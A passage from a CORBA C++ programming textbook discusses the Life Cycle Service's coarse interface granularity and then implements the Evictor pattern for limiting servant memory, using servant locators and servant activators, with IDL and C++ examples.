location to another without also invalidating the object's reference. Even if an ORB 
supports migration of a single object, the feature presents serious challenges with respect 
to an ORB's performance and scalability. The implication is that move is 
unimplementable in at least the general case. 

12.5.4 Interface Granularity 

Recall from Section 12.4 that the way to support life cycle operations is to inherit 
from the LifeCycleObject interface, which provides the copy, move, and remove 
operations. The problem with this design is that if we inherit from LifeCycleObject 
at all, we inherit all three operations. For our thermostats and thermometers, that is bad 
news, because these devices support neither copy nor move semantics. 
 
The specification states that if a particular operation, such as copy, does not apply to an 
object, the operation can raise either the NotCopyable exception or the 
NO_IMPLEMENT system exception. However, why would an object offer an operation if 
that operation always and unconditionally raises an exception when a client calls it? It is 
far preferable in most cases not to provide the operation in the first place because then 
type checking can take place at compile time. 
 
The problem created by LifeCycleObject is that the granularity of the object model 
is too coarse. It would have been better to define three abstract interfaces, such as 
Removable, Copyable, and Movable, so that applications could use them as mix-in 
interfaces to compose the required functionality. A tempting approach to address the 
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deficiency of LifeCycleObject would be to add the three mix-in interfaces to the 
CosLifeCycle module and to change the definition of LifeCycleObject to 
inherit from the three mix-ins: 
       
module CosLifeCycle {    // Hypothetical IDL only! 
    // ... 
 
    interface Removable { 
       void remove() raises(NotRemovable); 
    }; 
 
    interface Copyable { 
       Copyable   copy( 
               in FactoryFinder  there, 
               in Criteria    the_criteria 
               ) raises( 
                  NoFactory, NotCopyable, 
                  InvalidCriteria, CannotMeetCriteria 
               ); 
    }; 
 
    interface Movable { 
      void      move( 
                in FactoryFinder  there, 
                in Criteria    the_criteria 
                ) raises( 
                   NoFactory, NotMovable, 
                   InvalidCriteria, CannotMeetCriteria 
                ); 
    }; 
 
    interface LifeCycleObject : Removable, Copyable, Movable { 
       // Empty 
    }; 
    // ... 
}; 
 
      
Unfortunately, the CORBA type system does not allow this. You cannot make any 
change to the definition of an existing IDL type even if you were to change its repository 
ID. After an IDL definition is published, it becomes immutable. The reason is that any 
change, no matter how innocuous, can break existing client code. For example, if you 
were to build a client that uses the preceding hypothetical IDL and then were to 
recompile the client using a different ORB that provided the original version, the code 
would not compile. Because of the lack of a versioning mechanism in CORBA, IDL 
deficiencies are difficult to address except by creating new definitions in a different 
module. 

12.5.5 Should You Use the Life Cycle Service? 

The Life Cycle Service has a number of deficiencies. Some of them, such as weak type 
safety, are a necessary consequence of the service's generality. Other deficiencies, such as 
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the generic factory interface, can be attributed to the service's age. Still others, such as the 
coarse interface granularity, reflect a lack of design foresight. 
 
For applications that require a weak type model, using the Life Cycle Service can be 
appropriate. However, for the majority of CORBA applications, the interfaces are too 
weakly typed and too general to be useful, so it is better to provide equivalent 
functionality with strongly typed operations on individual interfaces. 
 
A telling point is that no CORBA specification (except for the CORBA-COM 
Interworking specification) uses the Life Cycle Service interfaces, typically because 
objects do not have copy or move semantics. Instead of inheriting from 
LifeCycleObject, the OMG services define a destroy operation on the relevant 
inter-faces that takes the role of remove. 
 
Whether you find the Life Cycle Service useful is determined by your requirements. The 
main reason we discuss it in detail here is that it makes an interesting case study of the 
trade-offs involved in specification design. It illustrates the relative advantages and 
disadvantages of weakly typed and strongly typed interface models. 
 
In general, CORBA encourages strong type models and provides type any as an escape 
hatch to allow us to relax the type system without complete loss of type safety. Whether 
to use a weakly typed or a strongly typed design depends on your application. However, 
we recommend that you use strongly typed designs wherever possible and that you accept 
a weakly typed model only if the trade-off is repaid by a substantial gain in flexibility. 
See [17] for an excellent discussion of these and other design issues. 

12.6 The Evictor Pattern 

The main motivation for using servant managers is that they allow us to instantiate 
servants on demand when an invocation for an object arrives instead of having to keep all 
servants in memory continuously. For example, when the CCS server is first started, it 
reads a list of asset numbers from secondary storage and uses this list to initialize the 
m_assets set, but it does not instantiate any servants at all. As client invocations arrive 
for the various devices, the servant manager's preinvoke or incarnate operation is invoked 
by the POA, and the servant manager instantiates a new servant for each device as needed. 
 
There is a potential problem here. Assume that the CCS server runs for very long periods, 
possibly weeks or months, without ever shutting down. We use a servant activator to 
create servants on demand, and this means that our POA adds each servant to its Active 
Object Map as soon as the servant activator creates it. Chances are that sooner or later, 
some client or other will touch every object provided by the server. This means that 
although the server initially starts up without any instantiated servants, ongoing activity 
causes all servants to be faulted into memory eventually. The memory consumed for all 
these servants may be more than we can tolerate, so the server does not scale and we will 
need to shut it down periodically to reclaim memory. 
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To solve this problem, we must be able not only to bring servants into memory on 
demand but also to evict them if memory runs out or servants have been idle for some 
time. In that way, we can place an upper bound on the number of instantiated servants 
and therefore on the memory consumption of the server. We could use a servant locator 
instead of a servant activator and thereby avoid having the POA keep an Active Object 
Map. However, using a servant locator requires that we either create and destroy a 
servant for each request—a practice that is inefficient—or that we maintain our own pool 
of servants and reuse one for each new request. Maintaining such a pool is essentially just 
another way to keep an upper bound on the number of servants in memory at any point in 
time. 
 
The Evictor pattern describes a general strategy for limiting memory consumption. The 
basic idea is that we use a servant manager to instantiate servants on demand. However, 
instead of blindly instantiating a new servant every time it is called, the servant manager 
checks the number of instantiated servants. If the number of servants reaches a specified 
limit, the servant manager evicts an instantiated servant and then instantiates a servant for 
the current request. 

12.6.1 Basic Eviction Strategy 

One of the more interesting issues of the Evictor pattern is how to choose which servant 
to evict. There are many possible strategies, such as least recently used (LRU), least 
frequently used (LFU), evicting the servant with the highest memory consumption, or 
using a weighted function that chooses a servant for eviction based on a combination of 
factors. Usually, a simple LRU algorithm is effective and incurs low run-time overhead, 
so we show an LRU eviction implementation. 
 
Note that you can use the Evictor pattern either with a servant locator or with a servant 
activator. We first show how to implement it using a servant locator and then discuss the 
changes required to use it with a servant activator. 
 
Recall from Section 11.7.3 that a servant locator implies the NON_RETAIN policy. 
With this policy, the POA does not maintain an Active Object Map. Instead, the POA 
invokes the preinvoke and postinvoke operations on the servant locator on every 
request. The job of preinvoke is to return a pointer to the servant that should handle 
the request, whereas postinvoke has the job of cleaning up after the operation completes. 
In our implementation, preinvoke does all the work and postinvoke is empty. 
 
We need two data structures to support our Evictor pattern. The first data structure is an 
STL map that maps object IDs to C++ servant pointers and acts as our own active object 
map.[1] An STL map provides O(log n) performance on insert and erase operations, and 
that is sufficient for our purposes. A truly high-performance implementation of our active 
object map would probably use a hash table. (See [39] for how to implement a hash table 
that works as a drop-in replacement for an STL map.) 

[1] To distinguish our private object map from that of a RETAIN POA, we refer to our active 
object map using lowercase words and the POA's Active Object Map using capitalized words. 
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The second data structure we need to implement LRU eviction is a simple queue. Each 
item on the queue represents a servant in memory. For example, we could store a C++ 
pointer to a servant in the queue items, or we could store the servant's object ID instead. 
The main point is that we can uniquely identify each instantiated servant with the 
information in each queued item. 
 
Initially, when the server starts up, the evictor queue is empty. Whenever a client request 
arrives, the servant locator's preinvoke operation is called, and it first looks in our 
STL map for the required servant. If the servant is already in memory, preinvoke 
returns a pointer to the servant. If the servant is not in memory, preinvoke instantiates 
it, adds an entry for the servant to our private active object map, and adds a new item for 
the servant to the tail of the queue. Figure 12.2 shows the evictor queue after 
preinvoke has been called for the first five objects used by clients after server start-up. 
The order of items in the queue indicates the order of instantiation. The item 
corresponding to the servant that was instantiated first appears rightmost in the queue—
that is, as the oldest item. 

Figure 12.2 An evictor queue after instantiating five servants. 

 
Here is the sequence of events for instantiating a new servant as shown in Figure 12.2. 
A client invokes an operation. 
 
The POA calls preinvoke on the servant locator. 
The servant locator instantiates the servant. 
The servant locator adds an item for the servant at the tail of the queue. 
 
Note that the arrows from the queue items to the servants do not necessarily indicate 
pointers. As pointed out earlier, we could store a C++ pointer in each queue item, but we 
also could store an asset number or the servant's object ID. 
 
Let us assume that our queue is limited to holding only five items and that the client 
sends a request for object ID 6, which is not yet in memory. Again, when the request 
arrives, the POA calls the preinvoke operation on the servant locator. However, the 
implementation of preinvoke now realizes that the queue is full. As a result, 
preinvoke removes the oldest servant's item from the head of the queue. It then deletes 
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this oldest servant before instantiating a new servant and adding the new servant's item to 
the tail of the queue. The entire process is illustrated in Figure 12.3. 

Figure 12.3 Eviction of servant 1 from the queue. 

 
The sequence of events in Figure 12.3 is as follows. 
A client invokes an operation on the object with ID 6. 
The POA calls preinvoke on the servant locator. 
The servant locator's preinvoke realizes that the evictor queue is full and dequeues the 
item at the head (object 1). 
 
preinvoke either deletes the servant immediately or, in a multithreaded server, calls 
_remove_ref to decrement the servant's reference count. 
preinvoke instantiates the servant for object 6. 
preinvoke adds an item for object 6 to the tail of the queue and returns control to the 
POA. 
 
The POA dispatches the request to the new servant and then later invokes postinvoke 
on the servant locator (which does nothing in our implementation). 
 
The net effect of these events is that we start with five servants and we finish with five 
servants because we have evicted the oldest servant from memory to make room for the 
newest servant. 

12.6.2 Maintaining LRU Order 

The remaining question is how to maintain the queue in LRU order. Conceptually, we 
want to ensure that every operation that is dispatched to a servant causes that servant to 
be dequeued from its current queue position and to be moved to the tail of the queue. 
Achieving this goal is simple in our implementation because the preinvoke operation 
is called on every request whether or not the servant is in memory. 
 
If preinvoke finds a servant in memory, it moves the servant's item to the tail of the 
queue. 
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If preinvoke does not find a servant in memory, it instantiates the servant and adds it 
to the tail of the queue. 
 
Either way, each request that is dispatched causes its servant to move to the tail of the 
queue. With this strategy, after we have located the correct servant for a request, we must 
be able to efficiently remove the servant from the current queue position and enqueue it 
at the tail. By storing the queue position of each servant in our active object map, we can 
locate the servant on the queue as a constant-time operation. 

12.6.3 Implementing the Evictor Pattern Using a Servant 
Locator 

We need two supporting data structures for the Evictor pattern. Both of them are private 
data members of our servant locator. The first data structure is our evictor queue: 
       
typedef list<Thermometer_impl *> EvictorQueue; 
 
      
The evictor queue simply stores pointers to servants. As you will see shortly, 
preinvoke maintains that queue in LRU order. 
Our active object map provides the mapping from asset numbers to the queue position of 
the corresponding servant: 
       
typedef map< 
            CCS::AssetType, 
            EvictorQueue::iterator 
        > ActiveObjectMap; 
 
      
The next step is to provide an implementation of the servant locator. Here is the class 
definition: 
       
class DeviceLocator_impl : 
    public virtual POA_PortableServer::ServantLocator { 
public: 
            DeviceLocator_impl(Controller_impl * ctrl ); 
 
    virtual PortableServer::Servant 
                preinvoke( 
                    const PortableServer::ObjectId & oid, 
                    PortableServer::POA_ptr              poa, 
                    const char *                         operation, 
                    void * &                         cookie 
                ) throw( 
                    CORBA::SystemException, 
                    PortableServer::ForwardRequest 
                ); 
 
     virtual void 
                 postinvoke( 
                     const PortableServer::ObjectId & oid, 
                     PortableServer::POA_ptr              poa, 
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                     const char *                         operation, 
                     void *                               cookie, 
                     PortableServer::Servant              servant 
                 ) throw(CORBA::SystemException) {} 
private: 
    Controller_impl *                      m_ctrl; 
 
    typedef list<Thermometer_impl *>    EvictorQueue;  
    typedef map<CCS::AssetType, EvictorQueue::iterator> 
                                           ActiveObjectMap; 
 
    static const unsigned int              MAX_EQ_SIZE = 100; 
    EvictorQueue                           m_eq; 
    ActiveObjectMap                        m_aom; 
}; 
 
      
Note that the postinvoke member has an empty inline definition because we do not 
use it. We have also added a few private data members to the class: m_ctrl, m_eq, and 
m_aom. The m_ctrl member is initialized by the constructor and stores a pointer to the 
controller servant so that we can access the controller's asset set. The m_eq and m_aom 
members store the evictor queue and our active object map, and MAX_EQ_SIZE is the 
maximum number of servants we are willing to hold in memory simultaneously. 
 
All the action for the Evictor pattern happens in preinvoke: 
       
PortableServer::Servant 
DeviceLocator_impl:: 
preinvoke( 
    const PortableServer::ObjectId & oid, 
    PortableServer::POA_ptr              poa, 
    const char *                         operation, 
    void * &                         cookie 
) throw(CORBA::SystemException, PortableServer::ForwardRequest) 
{ 
     // Convert object id into asset number. 
     CORBA::String_var oid_string; 
     try { 
         oid_string = PortableServer::ObjectId_to_string(oid); 
     } catch (const CORBA::BAD_PARAM &) { 
         throw CORBA::OBJECT_NOT_EXIST(); 
     } 
     if (strcmp(oid_string.in(), Controller_oid) == 0) 
         return m_ctrl; 
     istrstream istr(oid_string.in()); 
     CCS::AssetType anum; 
     istr >> anum; 
     if (istr.fail()) 
         throw CORBA::OBJECT_NOT_EXIST(); 
 
     // Check whether the device is known. 
     if (!m_ctrl->exists(anum)) 
         throw CORBA::OBJECT_NOT_EXIST(); 
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     // Look at the object map to find out whether 
     // we have a servant in memory. 
     Thermometer_impl * servant; 
     ActiveObjectMap::iterator servant_pos = m_aom.find(anum); 
     if (servant_pos == m_aom.end()) { 
         // No servant in memory. If evictor queue is full, 
         // evict servant at head of queue. 
         if (m_eq.size() == MAX_EQ_SIZE) { 
             servant = m_eq.back(); 
             m_aom.erase(servant->m_anum); 
             m_eq.pop_back(); 
             delete servant; 
         } 
         // Instantiate correct type of servant. 
         char buf[32]; 
         if (ICP_get(anum, "model", buf, sizeof(buf))!= 0) 
             abort(); 
         if (strcmp(buf, "Sens-A-Temp") == 0) 
             servant = new Thermometer_impl(anum); 
         else 
             servant = new Thermostat_impl(anum); 
     } else { 
         // Servant already in memory. 
         servant = *(servant_pos->second);  // Remember servant 
         m_eq.erase(servant_pos->second);  // Remove  from queue 
 
         // If operation is "remove", also remove entry from 
         // active object map -- the object is about to be deleted. 
         if (strcmp(operation, "remove") == 0) 
             m_aom.erase(servant_pos); 
     } 
     // We found a servant, or just instantiated it. 
     // If the operation is not a remove, move 
     // the servant to the tail of the evictor queue 
     // and update its queue position in the map. 
     if (strcmp(operation, "remove") != 0) { 
         m_eq.push_front(servant); 
         m_aom[anum] = m_eq.begin(); 
     } 
     return servant; 
} 
 
      
There is a lot happening here. 
 
The code converts the passed object ID to an asset number and tests whether this device 
is known. If the conversion fails or the asset number is not known, preinvoke throws 
OBJECT_NOT_EXIST, which is propagated back to the client. 
 
Note that the code explicitly checks whether the request is for the controller object and, if 
it is, returns a pointer to the controller servant. This step is necessary because we assume 
that the controller and all devices share a single POA. We use a single POA because with 
separate POAs, invocations for the controller and a device may be processed in parallel 
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even with the SINGLE_THREAD_MODEL policy on all POAs. However, in this example, 
we are not dealing with issues of thread safety; we cover these in Chapter 21. 
 
If the device is real, we must locate its servant. The code uses the find member function 
on our active object map to check whether we have a servant for this device in memory. 
If the servant is not in memory, the evictor queue may already be at its maximum size 
(MAX_EQ_SIZE). If it is, the code retrieves the servant pointer in the element at the head 
of the evictor queue, removes the servant's entry from our active object map, removes the 
servant from the head of the queue, and deletes the servant. This action evicts the least 
recently accessed servant from memory. (Note that we have changed the servant's 
m_anum member variable to be public so that preinvoke can access it. This is safe 
because m_anum is a const member.) 
 
Now there is room for a new servant, so the code instantiates a servant for the current 
request, enqueues the servant's pointer at the tail of the evictor queue, and updates our 
active object map with the servant's asset number and queue position. 
 
If the servant for the request is already in memory, the code simply moves the servant's 
element from its current position to the tail of the evictor queue and updates our active 
object map with the new queue position. 
 
The preceding steps work for all operations except remove, for which we must take 
special steps. 
 
If a remove causes a servant to be brought into memory, there is no point in placing that 
servant in our active object map or at the tail of the evictor queue because the servant is 
about to be destroyed. 
 
If a remove finds that a servant is already in memory, that servant is immediately 
removed from our active object map, again because it is about to be destroyed. 
 
This logic ensures that our active object map accurately keeps track of which servants are 
in memory. 
 
The remainder of the source code is trivial, so we do not show it here. (It creates a POA 
with the NON_RETAIN and USE_SERVANT_MANAGER policies, creates a 
DeviceLocator_impl instance, and calls set_servant_manager to inform the 
POA of the servant locator's existence.) 
 
Before we go on, be warned that the preceding code takes advantage of a guarantee 
provided by the STL list container: insertion and removal of an element do not 
invalidate iterators to other elements. This property is unique to the list container. You 
cannot replace the list implementation of the evictor queue with a deque because a 
deque does not guarantee that iterators to other items in the container remain valid if 
any part of the container is modified. 
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12.6.4 Evaluating the Evictor Pattern with Servant Locators 

Looking at the preceding code, you can see that it is remarkably easy to implement the 
Evictor pattern. Ignoring the class header and a few type definitions, it takes barely 30 
lines of code to implement sophisticated functionality. Much of the credit for this goes to 
the Standard Template Library (STL),[2] which supplies us with the requisite data 
structures and algorithms. But even ignoring STL, something else remarkable is 
happening here: to add the Evictor pattern to our code, we did not have to touch a single 
line of object implementation code. The servants are completely unaware that we have 
added a new memory management strategy to the server, and they do not have to 
cooperate in any way. 

[2] If you are not familiar with STL, we cannot overemphasize its importance and utility. We 
strongly recommend that you acquaint yourself with this library as soon as you can. See [14] 
for an excellent tutorial and reference. 

Being able to make such modifications without disturbing existing code is a strong 
indicator of clean and modular design. Moreover, it shows that the POA achieves correct 
separation of concerns. Object activation is independent of the application semantics, and 
the servant locator design reflects this. 
 
The most valuable feature of the Evictor pattern is that it provides us with precise control 
over the memory consumption and performance trade-off for the CCS server. A longer 
evictor queue permits more servants to be active in memory and results in better 
performance; a shorter queue reduces performance but also reduces the memory 
requirements of the server. 
 
You must be aware, however, of one potential pitfall: if the evictor queue is too small, 
performance will fall off dramatically. This happens if there are more objects being used 
by clients on a regular basis than the server can hold in memory. In that case, most 
operation invocations from clients cause one servant to be evicted and another servant to 
be instantiated, and that is expensive. The problem is similar to that of thrashing in a 
demand-paged operating system if the working set of a process does not fit in memory 
[13]; if the "working set of objects" does not fit into the evictor queue, the server spends 
much of its time evicting and instantiating servants instead of servicing requests. 
 
The Evictor pattern is an important tool that can help servers achieve high performance 
without consuming massive amounts of memory. Object systems exhibit locality of 
reference (see [13]) just as ordinary processes do; it is rare for clients to be uniformly 
interested in all or almost all of the objects implemented by a server. Instead, client 
activity is typically focused on a group of objects for quite some time and then shifts to a 
new group of objects. The caching nature of the Evictor pattern makes it well suited to 
this behavior. 
 
Another important way of achieving high performance is to use the 
USE_DEFAULT_SERVANT policy value, which allows you to handle invocations for 
many different CORBA objects with a single servant (see Section 11.7.4). Default 
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servants go a step beyond the Evictor pattern in reducing memory requirements because 
they eliminate both the Active Object Map and the one-to-one mapping from object 
references to servants. The price of the default servant technique is that unless the server 
uses an aggressive threading strategy, object invocations are serialized on the default 
servant, so invocation throughput will drop. However, default servants make it possible 
to create lightweight implementations that allow a server to scale to millions of objects 
while keeping memory consumption very low. 

12.6.5 Implementing the Evictor Pattern Using a Servant 
Activator 

In Section 12.6.1, we mentioned that you can use the Evictor pattern with servant 
activators as well as servant locators. To use the pattern with servant activators, the POA 
for the servants must use the RETAIN policy. This in turn implies that the POA maintains 
its own Active Object Map, and you have no direct control over its contents. This raises 
the question of where to store the position of each servant in the evictor queue. In the 
servant locator case we store the queue position in our own active object map, but for 
servant activators we cannot do this. 
 
The solution to this problem is to store the queue position in each individual servant. This 
creates an evictor queue as shown in Figure 12.4. 

Figure 12.4 Implementing the Evictor pattern using a servant activator. 

 
The back pointers from the servants to the evictor queue record each servant's queue 
position, so we can efficiently locate a servant's item on the queue to evict it or move it to 
the tail of the queue. The sequence of steps during activation is similar to those of the 
servant locator case, but for the servant activator, the incarnate operation takes 
responsibility for instantiating and evicting servants. 
 
A client invokes an operation. 
The POA looks for the servant in its Active Object Map. If it cannot find the servant, it 
calls incarnate on the servant activator. 
 
The servant activator instantiates the new servant, possibly deactivating the object 
incarnated by the servant at the head of the queue. 
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The servant activator adds the new servant to the tail of the queue. If a servant was 
evicted, the activator deactivates its associated object and removes the servant's entry 
from the evictor queue. 
 
Note that this design is not quite as clean as the one using a servant locator. Because we 
cannot control the Active Object Map, we must modify the implementation of each 
individual servant to store its queue position. In other words, servants must be aware of 
the fact that they are kept on a queue. We could instead store this information in an 
external data structure, such as a hash table, to keep our servants ignorant. However, a 
hash table has other drawbacks, which we explore in the next section. 
 
To evict a servant, incarnate must take different actions than preinvoke does in 
Section 12.6.3. To evict a servant, incarnate calls deactivate_object on 
the POA for the servant at the head of the queue and then removes the evicted servant's 
entry from the queue. The deactivate_object call causes the POA to remove the 
servant's entry from its Active Object Map and eventually results in a call from the POA 
to etherealize, which destroys the servant. If incarnate does not need to evict a 
servant, it simply creates the new servant and places it at the tail of the queue. 
 
Maintaining the evictor queue in LRU order also requires changes. For the servant locator 
approach, we took advantage of the fact that preinvoke is called by the POA for all 
object invocations. However, incarnate on the servant activator is called only if the 
servant is not in memory. (If the servant is already in memory, the POA finds it in its 
Active Object Map and dispatches directly to it.) This means that we must change our 
strategy for moving servants to the tail of the evictor queue whenever a request is 
processed: on entry to every operation, the servant must move itself to the tail of the 
queue. The only exception is the remove operation; instead of moving the servant to the 
tail of the queue, remove erases it from the queue. 
 
Armed with these ideas, we can fill in the source code. The evictor queue holds object 
IDs instead of servant pointers: 
       
typedef list<PortableServer::ObjectId> EvictorQueue; 
 
      
We use object IDs because that is the parameter expected by deactivate_object. 
The servant activator class definition is similar to the one for the servant locator, so we 
do not show it here. 
 
The incarnate member function has little work to do because it will be called by the 
POA only if no servant is in memory. This means that incarnate need only check that 
the device exists and then check whether the queue is full. If the queue is full, 
incarnate must evict the least recently used servant before instantiating the servant 
for the current request: 
       
PortableServer::Servant 
DeviceActivator_impl:: 
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incarnate( 
    const PortableServer::ObjectId & oid, 
    PortableServer::POA_ptr              poa 
) throw(CORBA::SystemException, PortableServer::ForwardRequest) 
{ 
 
    // Convert OID to asset number (not shown). 
    CCS::AssetType anum = ...; 
 
    // Check whether the device is known. 
    if (!m_ctrl->exists(anum)) 
        throw CORBA::OBJECT_NOT_EXIST(); 
 
    // If queue is full, evict servant at head of queue. 
    if (eq.size() == MAX_EQ_SIZE) { 
        poa->deactivate_object(eq.back()); 
        eq.pop_back(); 
    } 
 
    // Instantiate new servant. 
    PortableServer::ServantBase * servant; 
    char buf[32]; 
    if (ICP_get(anum, "model", buf, sizeof(buf)) != 0) 
        abort(); 
    if (strcmp(buf, "Sens-A-Temp") == 0) 
        servant = new Thermometer_impl(anum); 
    else 
        servant = new Thermostat_impl(anum); 
    // Add new servant to tail of queue. 
    eq.push_front(oid); 
 
    return servant; 
} 
 
      
To evict a servant if the queue is full, the function calls deactivate_object, which 
causes etherealize to be called after incarnate returns control to the POA. Note 
that we make the evictor queue eq a global variable here. This is because the same queue 
is now used by the servant activator as well as all servants. We could have made the 
evictor queue a static data member of the servant class, but that would do little to remedy 
the fact that global data is being shared among different classes (using a friend 
declaration would also do little to improve matters). For this simple example, we put up 
with the global variable. For a more realistic solution, we would use the Singleton pattern 
[4]. 
 
Next, let us look at the servant implementation. We require an additional private data 
member that records the servant's position on the queue, and we need a private member 
function called move_to_tail: 
       
class Thermometer_impl : public virtual POA_CCS::Thermometer { 
public: 
    // As before... 
private: 
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    const CCS::AssetType    m_anum; 
    bool                    m_removed; 
    EvictorQueue::iterator  m_pos; 
    void                    move_to_tail(); 
}; 
 
      
We show the move_to_tail member function in a moment. The constructor of the 
servant initializes the m_pos data member to point at the first element on the evictor 
queue: 
       
Thermometer_impl:: 
Thermometer_impl(CCS::AssetType asset) 
    : m_anum(asset), m_removed(0), m_pos(eq.begin()) 
{ 
    // Intentionally empty 
} 
 
      
This code records the servant's position in the queue for use by the destructor and the 
move_to_tail member function, whose job it is to move the servant's queue entry to 
the tail of the queue: 
       
void 
Thermometer_impl:: 
move_to_tail() 
{ 
    EvictorQueue::value_type val = *m_pos; 
    eq.erase(m_pos); 
    eq.push_front(val); 
    m_pos = eq.begin(); 
} 
 
      
To move the servant to the tail of the queue whenever an operation is invoked, we add a 
call to move_to_tail to every operation on the servant. For example: 
       
CCS::AssetType 
Thermometer_impl::asset_num() throw(CORBA::SystemException) 
{ 
    move_to_tail(); 
    return m_anum; 
} 
 
CCS::AssetType 
Thermometer_impl::temperature() throw(CORBA::SystemException) 
{ 
    move_to_tail(); 
    return get_temperature(m_anum); 
} 
 
// etc... 
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Our implementation of remove invokes deactivate_object, removes the object's 
asset number from the controller's map, erases the object's entry in the evictor queue, and 
sets the m_removed member to true. 
       
void 
Thermometer_impl::remove() throw(CORBA::SystemException) 
{ 
    EvictorQueue::value_type oid = *m_pos; 
    deactivate_object(oid); 
    // Remove device from m_assets set. 
    m_ctrl->remove_impl(m_anum); 
    eq.erase(m_pos); 
    m_removed = true; 
} 
 
      
As usual, the etherealize implementation of our servant activator calls delete (or 
_remove_ref), which causes the destructor of the servant to run: 
       
Thermometer_impl:: 
~Thermometer_impl() 
{ 
    if (m_removed) { 
        // Inform network that the device is off-line. 
        ICP_offline(m_anum); 
    } 
} 
 
      
If the destructor was called because the object was destroyed, m_removed is true, so the 
destructor marks the device as being off-line. 

12.6.6 Evaluating the Evictor Pattern with Servant Activators 

The Evictor pattern with servant activators works just as well as with servant locators as 
far as its advantages for performance and scalability are concerned. However, its 
implementation is not nearly as clean and simple as the one for servant locators. With 
servant activators, the Active Object Map is out of our control and we must explicitly call 
the move_to_tail member function in every operation, a practice that robs the 
implementation of much of its elegance. 
 
In addition, the division of responsibility across different member functions is unpleasant. 
The incarnate function creates the servant and places it on the queue, the servant 
stores its queue position in a private member variable (and therefore must know about the 
queue), the servant destructor removes the servant's queue entry when the servant is 
destroyed, and, to top it all off, every operation must call move_to_tail to maintain 
the queue in LRU order. As a result, we have a design that is complex and difficult to 
modify. 
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By deciding to store the queue position in each servant, we give explicit knowledge about 
the queue to each servant, introducing a major interdependency into the design. An 
alternative approach is to keep each servant's queue position in a separate data structure, 
such as a hash table that stores pairs of object ID and queue position. This approach 
makes it possible to remove a servant's queue entry as part of etherealize instead of 
removing the entry in the servant's destructor. Unfortunately, this approach still does not 
solve the problem that every operation invocation must somehow maintain the LRU order 
of the queue, so we still need support from the servant implementation. Worse, by storing 
pairs of object ID and queue position in the hash table, we are essentially duplicating the 
Active Object Map that is already maintained by the POA. This doubles the storage 
overhead for keeping track of servants. For servants that contain only a small amount of 
state, this approach may well be too expensive. 
 
The conclusion of this discussion is that although we can use the Evictor pattern with 
servant activators, we must work hard to fit the pattern to the implementation. In turn, 
this suggests that it pays to plan ahead and to choose POA policies carefully. Turning 
source code that relies on servant activators into source code that uses servant locators (or 
vice versa) is not easy, so making the correct decision up front is worthwhile. 

12.6.7 Interactions with Collection Manager Operations 

The Evictor pattern offers a way to limit memory consumption in servers without 
compromising performance unduly. However, to some degree, it interferes with 
collection manager operations, such as list and find. For the implementation in 
Chapter 10, the implementation of list was trivial: we simply iterated over the list of 
servants and invoked the _this member function to create a list of references. However, 
as soon as we do not have all servants in memory, we cannot do this because to invoke 
_this, we need a servant. 
 
The solution is to not rely on servants being in memory at all. Instead, we can use the 
make_dref function shown on page 546: 
       
CCS::Controller::ThermometerSeq * 
Controller_impl:: 
list() throw(CORBA::SystemException) 
{ 
    // Create a new thermometer sequence. Because we know 
    // the number of elements we will put onto the sequence, 
    // we use the maximum constructor. 
    CCS::Controller::ThermometerSeq_var listv 
        = new CCS::Controller::ThermometerSeq(m_assets.size()); 
    listv->length(m_assets.size()); 
 
    // Loop over the m_assets map and create a 
    // reference for each device. 
    CORBA::ULong count = 0; 
    AssetMap::iterator i; 
    for (i = m_assets.begin(); i != m_assets.end(); i++) 
        listv[count++] = make_dref(m_poa, i->first); 
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    return listv._retn(); 
} 
 
      
This implementation avoids the need to instantiate a servant for each device just so that 
we can call _this. The version shown here applies to our servant locator 
implementation. For servant activators, we change only one line of code: 
       
// ... 
CORBA::ULong count = 0; 
AssetMap::iterator i; 
for (i = m_assets.begin(); i != m_assets.end(); i++) 
    listv[count++] = make_dref(m_poa, *i); 
// ... 
 
      
With a servant activator, the controller contains only a set of asset numbers instead of a 
map, so instead of passing i->first to make_dref, we pass *i. These 
implementations are similar to the examples we use to introduce servant managers in 
Chapter 11. 
 
The Evictor pattern also interferes with the find operation. The implementation in 
Chapter 10 iterates over the servants in memory to locate devices with matching 
attributes. Because not all servants may be in memory, this approach does not work. You 
may be tempted to write something like this instead: 
       
//... 
 
// Loop over input list and look up each device. 
CORBA::ULong listlen = slist.length(m_assets.size()); 
for (CORBA::ULong i = 0; i < listlen; i++) { 
 
    AssetMap::iterator where;   // Iterator for asset map 
    // ... 
 
    CCS::Controller::SearchCriterion sc = slist[i].key._d(); 
    if (sc == CCS::Controller::LOCATION) { 
        // Search for matching asset location. 
        for (where = m_assets.begin(); 
             where != m_assets.end(); where++) { 
            Thermometer_var t = make_dref(m_poa, where->first); 
            if (strcmp(t->location(), slist[i].key.loc()) == 0) 
                // Found a match... 
        } 
        // ... 
    } 
    // ... 
} 
// ... 
 
      
The strategy here is to create an object reference for each device and then to ask the 
device for its location. This works, but it has a hideous flaw: this linear search causes 
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every single device to be brought into memory by the servant manager up to the point at 
which we find a match. This presents a worst-case scenario for the Evictor pattern 
because it causes thrashing. 
 
A better approach is to interrogate the ICP network directly without instantiating a 
servant for every device. Not only is this more efficient, but it also means that the 
implementation of find as shown in Chapter 10 does not have to change at all. 
Instead, the change is confined to the StrFinder function object: 
       
class Controller_impl : public virtual POA_CCS::Controller { 
public: 
    // ... 
private: 
    // ... 
 
    class StrFinder { 
    public: 
        StrFinder( 
            CCS::Controller::SearchCriterion    sc, 
            const char *                        str 
        ) : m_sc(sc), m_str(str) {} 
 
        bool operator()( 
            pair<const CCS::AssetType, Thermometer_impl *> & p 
        ) const 
        { 
            char buf[32]; 
            switch (m_sc) { 
            case CCS::Controller::LOCATION: 
                ICP_get(p.first, "location", buf, sizeof(buf)); 
                break; 
            case CCS::Controller::MODEL: 
                ICP_get(p.first, "model", buf, sizeof(buf)); 
                break; 
            default: 
                abort();    // Precondition violation 
            } 
            return strcmp(buf, m_str) == 0; 
        } 
    private: 
        CCS::Controller::SearchCriterion    m_sc; 
        const char *                        m_str; 
    }; 
}; 
 
      
To search the ICP network directly instead of searching servants, we simply change the 
implementation of operator(). 

12.7 Garbage Collection of Servants 

In the most general sense, garbage collection is the automatic removal of resources that 
are no longer in use by a program, without explicit action by the application code. In 
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CORBA, garbage collection refers to reclamation of resources that are used by objects 
that are no longer of interest to clients. Note that we said that garbage collection reclaims 
the resources used by "objects" instead of using either "CORBA objects" or "servants." 
For the moment, we avoid using the more precise terms because as you will see in 
Section 12.8, the distinction between the two is easily blurred. 
 
To help you understand the issues involved, we introduce a simple example that outlines 
the basic problem. 

12.7.1 Dealing with Unexpected Client Behavior 

In Sections 12.3 and 12.4, we examine the basic pattern used by clients to create and 
